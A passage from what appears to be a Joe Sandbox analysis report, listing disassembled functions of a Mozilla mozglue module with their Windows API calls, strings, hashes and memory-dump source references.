SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

ntdll.dll, xrefs: 6C4E96E3
MapViewOfFileNuma2, xrefs: 6C4E97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
NtMapViewOfSection, xrefs: 6C4E9701

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction ID: 47ce4f42ec0c078042cb29ecf1f06401fed4c9443e6af6960a62abd1ff9e295d
Opcode Fuzzy Hash: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction Fuzzy Hash: D361E371B00201EFDF00DF69DC88F9A7BB4EB4A316F924229E91693780D731A858CB95

Function 6C536660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536694
GetThreadId.KERNEL32(?), ref: 6C5366B1
GetCurrentThreadId.KERNEL32 ref: 6C5366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5366E1
EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536734
GetCurrentProcess.KERNEL32 ref: 6C53673A
LeaveCriticalSection.KERNEL32(6C55F618), ref: 6C53676C
GetCurrentThread.KERNEL32 ref: 6C5367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C536868
RtlCaptureContext.NTDLL ref: 6C53687F

Strings

WalkStack64, xrefs: 6C536890

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction ID: 11469bbbd3b68dd6175c17ff3736780095ca8f9000ecd9ad94a2cd8fc4864b30
Opcode Fuzzy Hash: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction Fuzzy Hash: 5E51CB71A09310AFDB11DF24CC48B5ABBF4BF89714F44492DF99887640EBB0E8088B92

Function 6C51DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51DE73
GetCurrentThreadId.KERNEL32 ref: 6C51DF7D
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DF8A
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DFC9
GetCurrentThreadId.KERNEL32 ref: 6C51DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Strings

<none>, xrefs: 6C51DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C51DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C51E00E

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction ID: 256bd6afa5caf229f38b6bfb87e0c8d251b55abe561817ac6a8b1b33e2bbbe54
Opcode Fuzzy Hash: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction Fuzzy Hash: 24411335B05210DBEB11AF64DC0CBAABB75EB8230CF850219E90997F41DB719D05CBEA

Function 6C52D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D918
GetCurrentThreadId.KERNEL32 ref: 6C52D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D970
GetCurrentThreadId.KERNEL32 ref: 6C52D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52DA2E
GetCurrentThreadId.KERNEL32 ref: 6C52DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C52DA91

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52DAB7

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction ID: 8916d7fd69cbeb8d37a59bf9f06ae8ea45d4a3753c4ad7a5e9a6f24e443f89ba
Opcode Fuzzy Hash: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction Fuzzy Hash: 1F71DF35604304DFCB00DF29C888B9ABBF5FF89314F59856EE85A9B341DB34A844CB95

Function 6C52D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D52A
GetCurrentThreadId.KERNEL32 ref: 6C52D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D55F
free.MOZGLUE(00000000), ref: 6C52D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52D5D3
GetCurrentThreadId.KERNEL32 ref: 6C52D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D652
GetCurrentThreadId.KERNEL32 ref: 6C52D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D6A2

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction ID: 69f038ba679c794bb081c930b888cd97b4f0bc76348e35c3014c58d019c7716f
Opcode Fuzzy Hash: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction Fuzzy Hash: CA519A71A04705DFC704DF35C888A9ABBF4FF89318F418A2EE84A87751EB34A845CB95

Function 6C4D1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EC1
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EE1
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F38
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C4D1F83
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FC0
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FE2
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4D2019

Strings

MOZ_CRASH(), xrefs: 6C4D2000
\Ul, xrefs: 6C4D1F3E
DUl, xrefs: 6C4D1F56
DUl, xrefs: 6C4D1F32

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DUl$DUl$MOZ_CRASH()$\Ul
API String ID: 2055633661-2068375349
Opcode ID: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction ID: d366c1acbd2f46e2021185ea03c973e8368adda1a51b709d76b7704d6962875d
Opcode Fuzzy Hash: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction Fuzzy Hash: C541D471B043558FDF01EFA8CC98F6A36B5EB4A318F46012AED05D7741DBB5A8048BD6

Function 6C4F5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C4F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C4F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C4F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C4F57BC
GetTickCount64.KERNEL32 ref: 6C4F58CB
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F58F3
__aulldiv.LIBCMT ref: 6C4F5945
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C55F638,?,?,?,?), ref: 6C4F59E9

Strings

MOZ_APP_RESTART, xrefs: 6C4F56CC

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction ID: 1f81bec8ea9434231b4946615ded6c2377a8b8f80fa253094258920f316f5e88
Opcode Fuzzy Hash: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction Fuzzy Hash: 6FC17E71A097409FD705CF28C840A6ABBF1BFCA714F568B1DE8D497760D730A986CB86

Function 6C51EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EC8C

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51ECA1
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C51ECC5
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51ED19
CloseHandle.KERNEL32(?), ref: 6C51ED28
free.MOZGLUE(00000000), ref: 6C51ED2F
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C51EC94

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction ID: 44e81e904be07cdde344a140e5e76e265843210b56465f102cc368b85304310c
Opcode Fuzzy Hash: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction Fuzzy Hash: 3721B175604104EBEB01AF24DC0CAAA7779EF8626CF954215F81897F40DB729C15CBA5

Function 6C518ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C4DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C51B392,?,?,00000001), ref: 6C5191F4

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Strings

timeline-memory, xrefs: 6C519088
timeline-ipc, xrefs: 6C519096
marker-table, xrefs: 6C51906C
timeline-overview, xrefs: 6C51907A
timeline-fileio, xrefs: 6C5190A4
data, xrefs: 6C5190E8
marker-chart, xrefs: 6C51905E
stack-chart, xrefs: 6C5190B2
name, xrefs: 6C518F16

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction ID: 2a8c5b8f0021382e123008cf993b05bec37f93392e3b8ce5098ed5b4819074d7
Opcode Fuzzy Hash: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction Fuzzy Hash: 50B1E2B0A042099BEF04DF98CC95BEEBBF5AF85318F504529D401ABF80D731A944CBD1

Function 6C4FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C4FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C4FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C4FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4FCAA5

Strings

0, xrefs: 6C4FD30A
(null), xrefs: 6C4FC596

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction ID: 131f59af8c2609ce3024bce7f5502e95c97f38b17f1fce5291f6c55dfb3931be
Opcode Fuzzy Hash: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction Fuzzy Hash: A9A1BD306083428FDB10DF28C944F5ABBF1AFC9759F09892DE9A997751D731E806CB82

Function 6C4FC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4FC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C4FC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4FC891

Strings

INF, xrefs: 6C4FC794
NAN, xrefs: 6C4FC7AD
inf, xrefs: 6C4FC78F
nan, xrefs: 6C4FC7A8

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction ID: bd1afa378524406d481d46e2dc63b2f4ebfe15de956aa8bf15f6c3740a089084
Opcode Fuzzy Hash: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction Fuzzy Hash: 3C5181705087448BD710EF2CC581E9AFBF0BFCA309F418A2DE9E597651E770D98A8B42

Function 6C4D3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C4D350E
__Init_thread_footer.LIBCMT ref: 6C4D3522
__aulldiv.LIBCMT ref: 6C4D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3592

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C4D3508
kernel32.dll, xrefs: 6C4D34EA

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction ID: b9cf08172a744ab68f737a684ea1234d6ef50cd573da6dd9939a81aab9a2acc9
Opcode Fuzzy Hash: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction Fuzzy Hash: ED31B371B001059BDF04EFB9CC68FAA77B5FB45319F96011AE501E37A0EB70A904CB64

Function 6C4D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C514843,?), ref: 6C4D45F5
